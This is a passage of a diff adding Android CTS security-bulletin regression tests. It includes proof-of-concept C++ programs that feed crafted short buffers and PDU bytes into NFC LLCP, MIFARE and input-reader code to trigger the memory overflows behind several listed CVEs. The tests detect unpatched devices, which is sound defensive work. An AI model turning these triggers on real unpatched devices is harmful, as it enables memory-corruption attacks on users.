shared_libs: [ + "libnfc-nci", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp new file mode 100644 index 00000000000..f85347599ab --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include <string.h> +#include <llcp_api.h> + +#define DEFAULT_VALUE 0x02 +#define SIZE 16 +#define LENGTH 1 + +extern bool llcp_util_parse_link_params(uint16_t length, uint8_t* p_bytes); + +int main() { + const int32_t offset = SIZE - LENGTH; + uint8_t* p_bytes = (uint8_t *)malloc(SIZE); + if (!p_bytes) { + return EXIT_FAILURE; + } + memset(p_bytes, DEFAULT_VALUE, SIZE); + + llcp_util_parse_link_params(LENGTH, &p_bytes[offset]); + + free(p_bytes); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp new file mode 100644 index 00000000000..68def73f5c6 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2018-9593", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include/", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux/", + ], + shared_libs: [ + "libnfc-nci", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp new file mode 100644 index 00000000000..25b2fb6286f --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp @@ -0,0 +1,41 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include <string.h> +#include "llcp_int.h" + +#define SIZE 16 +#define LENGTH 1 + +extern tLLCP_CB llcp_cb; +void llcp_init(void); + +int main() { + GKI_init(); + llcp_init(); + uint8_t *p_i_pdu = (uint8_t *)malloc(SIZE); + if (!p_i_pdu) { + return EXIT_FAILURE; + } + + llcp_cb.dlcb[0].state = LLCP_DLC_STATE_CONNECTED; + llcp_dlc_proc_i_pdu(llcp_cb.dlcb[0].local_sap, llcp_cb.dlcb[0].remote_sap, LENGTH, + &p_i_pdu[SIZE - LENGTH], nullptr); + + free(p_i_pdu); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp new file mode 100644 index 00000000000..9d4946f8d22 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2018-9594", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include/", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux/", + ], + shared_libs: [ + "libnfc-nci", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp new file mode 100644 index 00000000000..4a5b163bfbf --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include <string.h> +#include <llcp_int.h> +#include <nfc_int.h> + +extern tLLCP_CB llcp_cb; +extern tNFC_CB nfc_cb; +void rw_init(void); +void llcp_init(void); + +int main() { + GKI_init(); + rw_init(); + llcp_init(); + + tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN)); + if (!p_data) { + return EXIT_FAILURE; + } + p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t)); + if (!(p_data->data.p_data)) { + free(p_data); + return EXIT_FAILURE; + } + nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16); + if (!(nfc_cb.quick_timer_queue.p_first)) { + free(p_data); + free(p_data->data.p_data); + return EXIT_FAILURE; + } + + uint8_t conn_id = 1; + llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION; + llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION; + llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED; + // Set llcp_cb.lcb.local_link_miu greater than p_msg->len + llcp_cb.lcb.local_link_miu = 16400; + llcp_cb.lcb.received_first_packet = true; + llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + + NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data); + // p_msg->len is calculated based on the total PDUs in AGF PDU + p_msg->len = 16395; + p_msg->offset = 0; + uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset; + // First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data + // to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu. + *p = 0x00; + *(p + 1) = 0x80; + // The following are trying to emulate PDUs in AGF PDU + *(p + 2) = 0x00; + *(p + 3) = 0x02; + *(p + 4) = 0x02; + *(p + 5) = 0x40; + *(p + 6) = 0x00; + *(p + 7) = 0x01; + *(p + 8) = 0x02; + *(p + 9) = 0x40; + *(p + 10) = 0x00; + *(p + 11) = 0x02; + *(p + 12) = 0x40; + + llcp_link_connection_cback(conn_id, event, p_data); + + free(p_data); + free(nfc_cb.quick_timer_queue.p_first); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp index 7b410b76277..3d54d70dde3 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp @@ -16,7 +16,7 @@ */ cc_test { - name: "CVE-2021-29368", + name: "CVE-2020-29368", defaults: ["cts_hostsidetests_securitybulletin_defaults"], srcs: ["poc.cpp",], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp index 1b3528cd24a..1b3528cd24a 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp new file mode 100644 index 00000000000..470f2561c51 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2021-0596", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + include_dirs: [ + "packages/apps/Nfc/nci/jni/extns/pn54x/inc", + "packages/apps/Nfc/nci/jni/extns/pn54x/src/common", + "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + "system/nfc/src/nfa/include", + "system/nfc/src/nfc/include", + ], + shared_libs: [ + "libnfc_nci_jni", + ], + cflags: [ + "-DCHECK_UNDERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp new file mode 100644 index 00000000000..9b250044e38 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "phNxpExtns_MifareStd.h" + +uint8_t NFC_GetNCIVersion() { + return NCI_VERSION_2_0; +} + +int main() { + uint8_t *buffer = (uint8_t*) malloc(16 * sizeof(uint8_t)); + if (buffer == nullptr) { + return EXIT_FAILURE; + } + uint8_t bufferSize = 1; + buffer[0] = 0x10; + phNxpExtns_MfcModuleInit(); + Mfc_RecvPacket(buffer, bufferSize); + free(buffer); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp new file mode 100644 index 00000000000..2c9502b68aa --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp @@ -0,0 +1,47 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2021-0684", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + header_libs: [ + "libbatteryservice_headers", + ], + srcs: [ + "poc.cpp", + "TestInputListener.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096", + "-Wno-unused-parameter", + ], + static_libs: [ + "libinputdispatcher", + ], + shared_libs: [ + "libinputflinger_base", + "libinputreader", + "libinputflinger", + "libinputreader", + "libbase", + "libinput", + "liblog", + "libutils", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp new file mode 100644 index 00000000000..875a38ad762 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp @@ -0,0 +1,111 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' + * is used as reference to come up with file + * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is + * retained + */ + +#include "TestInputListener.h" + +namespace android { + +// --- TestInputListener --- + +TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout, + std::chrono::milliseconds eventDidNotHappenTimeout) + : mEventHappenedTimeout(eventHappenedTimeout), + mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {} + +TestInputListener::~TestInputListener() {} + +template <class NotifyArgsType> +void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) { + std::unique_lock<std::mutex> lock(mLock); + base::ScopedLockAssertion assumeLocked(mLock); + + std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); + if (queue.empty()) { + const bool eventReceived = + mCondition.wait_for(lock, mEventHappenedTimeout, + [&queue]() REQUIRES(mLock) { return !queue.empty(); }); + if (!eventReceived) { + return; + } + } + if (outEventArgs) { + *outEventArgs = *queue.begin(); + } + queue.erase(queue.begin()); +} + +template <class NotifyArgsType> +void TestInputListener::assertNotCalled(std::string message) { + std::unique_lock<std::mutex> lock(mLock); + base::ScopedLockAssertion assumeLocked(mLock); + + std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); + const bool eventReceived = + mCondition.wait_for(lock, mEventDidNotHappenTimeout, + [&queue]() REQUIRES(mLock) { return !queue.empty(); }); + if (eventReceived) { + return; + } +} + +template <class NotifyArgsType> +void TestInputListener::notify(const NotifyArgsType* args) { + std::scoped_lock<std::mutex> lock(mLock); + + std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); + queue.push_back(*args); + mCondition.notify_all(); +} + +void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) { + notify<NotifyConfigurationChangedArgs>(args); +} + +void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) { + notify<NotifyDeviceResetArgs>(args); +} + +void TestInputListener::notifyKey(const NotifyKeyArgs* args) { + notify<NotifyKeyArgs>(args); +} + +void TestInputListener::notifyMotion(const NotifyMotionArgs* args) { + notify<NotifyMotionArgs>(args); +} + +void TestInputListener::notifySwitch(const NotifySwitchArgs* args) { + notify<NotifySwitchArgs>(args); +} + +void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) { + notify<NotifyPointerCaptureChangedArgs>(args); +} + +void TestInputListener::notifySensor(const NotifySensorArgs* args) { + notify<NotifySensorArgs>(args); +} + +void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) { + notify<NotifyVibratorStateArgs>(args); +} + +} // namespace android diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h new file mode 100644 index 00000000000..067ac835ba2 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' + * is used as reference to come up with file + * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is + * retained + */ + +#ifndef _UI_TEST_INPUT_LISTENER_H +#define _UI_TEST_INPUT_LISTENER_H + +#include <android-base/thread_annotations.h> +#include "InputListener.h" + +using std::chrono_literals::operator""ms; + +namespace android { + +// --- TestInputListener --- + +class TestInputListener : public InputListenerInterface { +protected: + virtual ~TestInputListener(); + +public: + TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms, + std::chrono::milliseconds eventDidNotHappenTimeout = 0ms); + + template <class NotifyArgsType> + void assertCalled(NotifyArgsType* outEventArgs, std::string message); + + template <class NotifyArgsType> + void assertNotCalled(std::string message); + + template <class NotifyArgsType> + void notify(const NotifyArgsType* args); + + virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override; + + virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override; + + virtual void notifyKey(const NotifyKeyArgs* args) override; + + virtual void notifyMotion(const NotifyMotionArgs* args) override; + + virtual void notifySwitch(const NotifySwitchArgs* args) override; + + virtual void notifySensor(const NotifySensorArgs* args) override; + + virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override; + + virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override; + + std::mutex mLock; + std::condition_variable mCondition; + const std::chrono::milliseconds mEventHappenedTimeout; + const std::chrono::milliseconds mEventDidNotHappenTimeout; + + std::tuple<std::vector<NotifyConfigurationChangedArgs>, // + std::vector<NotifyDeviceResetArgs>, // + std::vector<NotifyKeyArgs>, // + std::vector<NotifyMotionArgs>, // + std::vector<NotifySwitchArgs>, // + std::vector<NotifySensorArgs>, // + std::vector<NotifyVibratorStateArgs>, // + std::vector<NotifyPointerCaptureChangedArgs>> // + mQueues GUARDED_BY(mLock); +}; + +} // namespace android +#endif diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp new file mode 100644 index 00000000000..13b33b6771f --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp @@ -0,0 +1,1236 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' + * is used as reference to come up with file + * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is + * retained + */ + +#include <InputMapper.h> +#include <InputReader.h> +#include <InputReaderBase.h> +#include <InputReaderFactory.h> +#include <MultiTouchInputMapper.h> +#include <TestInputListener.h> + +namespace android { + +using std::chrono_literals::operator""ms; +using namespace android::flag_operators; + +// Timeout for waiting for an expected event +static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms; + +// An arbitrary time value. +static constexpr nsecs_t ARBITRARY_TIME = 1234; +static constexpr nsecs_t READ_TIME = 4321; + +// Arbitrary display properties. +static constexpr int32_t DISPLAY_ID = 0; +static constexpr int32_t DISPLAY_WIDTH = 480; +static constexpr int32_t DISPLAY_HEIGHT = 800; +static constexpr std::optional<uint8_t> NO_PORT = std::nullopt; +static constexpr int32_t BATTERY_STATUS = 4; +static constexpr int32_t BATTERY_CAPACITY = 66; +static constexpr int32_t RAW_X_MIN = 25; +static constexpr int32_t RAW_X_MAX = 1019; +static constexpr int32_t RAW_Y_MIN = 30; +static constexpr int32_t RAW_Y_MAX = 1009; +constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000; +constexpr int32_t DEVICE_GENERATION = 2; + +const char* DEVICE_NAME = "device"; +const char* DEVICE_LOCATION = "USB1"; +const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0); +constexpr int32_t EVENTHUB_ID = 1; +const std::string UNIQUE_ID = "local:0"; + +template <typename T> +static inline T min(T a, T b) { + return a < b ? a : b; +} + +// --- TestPointerController --- + +class TestPointerController : public PointerControllerInterface { + bool mHaveBounds; + float mMinX, mMinY, mMaxX, mMaxY; + float mX, mY; + int32_t mButtonState; + int32_t mDisplayId; + +public: + TestPointerController() + : mHaveBounds(false), + mMinX(0), + mMinY(0), + mMaxX(0), + mMaxY(0), + mX(0), + mY(0), + mButtonState(0), + mDisplayId(ADISPLAY_ID_DEFAULT) {} + + virtual ~TestPointerController() {} + + void setBounds(float minX, float minY, float maxX, float maxY) { + mHaveBounds = true; + mMinX = minX; + mMinY = minY; + mMaxX = maxX; + mMaxY = maxY; + } + + void setPosition(float x, float y) override { + mX = x; + mY = y; + } + + void setButtonState(int32_t buttonState) override { mButtonState = buttonState; } + + int32_t getButtonState() const override { return mButtonState; } + + void getPosition(float* outX, float* outY) const override { + *outX = mX; + *outY = mY; + } + + int32_t getDisplayId() const override { return mDisplayId; } + + void setDisplayViewport(const DisplayViewport& viewport) override { + mDisplayId = viewport.displayId; + } + + const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; } + +private: + bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override { + *outMinX = mMinX; + *outMinY = mMinY; + *outMaxX = mMaxX; + *outMaxY = mMaxY; + return mHaveBounds; + } + + void move(float deltaX, float deltaY) override { + mX += deltaX; + if (mX < mMinX) mX = mMinX; + if (mX > mMaxX) mX = mMaxX; + mY += deltaY; + if (mY < mMinY) mY = mMinY; + if (mY > mMaxY) mY = mMaxY; + } + + void fade(Transition) override {} + + void unfade(Transition) override {} + + void setPresentation(Presentation) override {} + + void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits, + int32_t displayId) override { + std::vector<int32_t> newSpots; + // Add spots for fingers that are down. + for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) { + uint32_t id = idBits.clearFirstMarkedBit(); + newSpots.push_back(id); + } + + mSpotsByDisplay[displayId] = newSpots; + } + + void clearSpots() override {} + + std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay; +}; + +// --- TestInputReaderPolicy--- + +class TestInputReaderPolicy : public InputReaderPolicyInterface { + std::mutex mLock; + std::condition_variable mDevicesChangedCondition; + + InputReaderConfiguration mConfig; + std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers; + std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock); + bool mInputDevicesChanged GUARDED_BY(mLock){false}; + std::vector<DisplayViewport> mViewports; + TouchAffineTransformation transform; + +protected: + virtual ~TestInputReaderPolicy() {} + +public: + TestInputReaderPolicy() {} + + virtual void clearViewports() { + mViewports.clear(); + mConfig.setDisplayViewports(mViewports); + } + + std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const { + return mConfig.getDisplayViewportByUniqueId(uniqueId); + } + std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const { + return mConfig.getDisplayViewportByType(type); + } + + std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const { + return mConfig.getDisplayViewportByPort(displayPort); + } + + void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation, + bool isActive, const std::string& uniqueId, + std::optional<uint8_t> physicalPort, ViewportType viewportType) { + const DisplayViewport viewport = + createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId, + physicalPort, viewportType); + mViewports.push_back(viewport); + mConfig.setDisplayViewports(mViewports); + } + + bool updateViewport(const DisplayViewport& viewport) { + size_t count = mViewports.size(); + for (size_t i = 0; i < count; i++) { + const DisplayViewport& currentViewport = mViewports[i]; + if (currentViewport.displayId == viewport.displayId) { + mViewports[i] = viewport; + mConfig.setDisplayViewports(mViewports); + return true; + } + } + // no viewport found. + return false; + } + + void addExcludedDeviceName(const std::string& deviceName) { + mConfig.excludedDeviceNames.push_back(deviceName); + } + + void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) { + mConfig.portAssociations.insert({inputPort, displayPort}); + } + + void addInputUniqueIdAssociation(const std::string& inputUniqueId, + const std::string& displayUniqueId) { + mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId}); + } + + void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); } + + void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); } + + void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) { + mPointerControllers.insert_or_assign(deviceId, std::move(controller)); + } + + const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; } + + const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; } + + TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor, + int32_t surfaceRotation) { + return transform; + } + + void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; } + + void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; } + + void setShowTouches(bool enabled) { mConfig.showTouches = enabled; } + + void setDefaultPointerDisplayId(int32_t pointerDisplayId) { + mConfig.defaultPointerDisplayId = pointerDisplayId; + } + + float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; } + +private: + DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height, + int32_t orientation, bool isActive, + const std::string& uniqueId, + std::optional<uint8_t> physicalPort, ViewportType type) { + bool isRotated = + (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270); + DisplayViewport v; + v.displayId = displayId; + v.orientation = orientation; + v.logicalLeft = 0; + v.logicalTop = 0; + v.logicalRight = isRotated ? height : width; + v.logicalBottom = isRotated ? width : height; + v.physicalLeft = 0; + v.physicalTop = 0; + v.physicalRight = isRotated ? height : width; + v.physicalBottom = isRotated ? width : height; + v.deviceWidth = isRotated ? height : width; + v.deviceHeight = isRotated ? width : height; + v.isActive = isActive; + v.uniqueId = uniqueId; + v.physicalPort = physicalPort; + v.type = type; + return v; + } + + void getReaderConfiguration(InputReaderConfiguration* outConfig) override { + *outConfig = mConfig; + } + + std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override { + return mPointerControllers[deviceId]; + } + + void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override { + std::scoped_lock<std::mutex> lock(mLock); + mInputDevices = inputDevices; + mInputDevicesChanged = true; + mDevicesChangedCondition.notify_all(); + } + + std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay( + const InputDeviceIdentifier&) override { + return nullptr; + } + + std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; } + + void waitForInputDevices(std::function<void(bool)> processDevicesChanged) { + std::unique_lock<std::mutex> lock(mLock); + base::ScopedLockAssertion assumeLocked(mLock); + + mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) { + return mInputDevicesChanged; + }); + mInputDevicesChanged = false; + } +}; + +// --- TestEventHub --- + +class TestEventHub : public EventHubInterface { + struct KeyInfo { + int32_t keyCode; + uint32_t flags; + }; + + struct SensorInfo { + InputDeviceSensorType sensorType; + int32_t sensorDataIndex; + }; + + struct Device { + InputDeviceIdentifier identifier; + Flags<InputDeviceClass> classes; + PropertyMap configuration; + KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes; + KeyedVector<int, bool> relativeAxes; + KeyedVector<int32_t, int32_t> keyCodeStates; + KeyedVector<int32_t, int32_t> scanCodeStates; + KeyedVector<int32_t, int32_t> switchStates; + KeyedVector<int32_t, int32_t> absoluteAxisValue; + KeyedVector<int32_t, KeyInfo> keysByScanCode; + KeyedVector<int32_t, KeyInfo> keysByUsageCode; + KeyedVector<int32_t, bool> leds; + std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode; + BitArray<MSC_MAX> mscBitmask; + std::vector<VirtualKeyDefinition> virtualKeys; + bool enabled; + + status_t enable() { + enabled = true; + return OK; + } + + status_t disable() { + 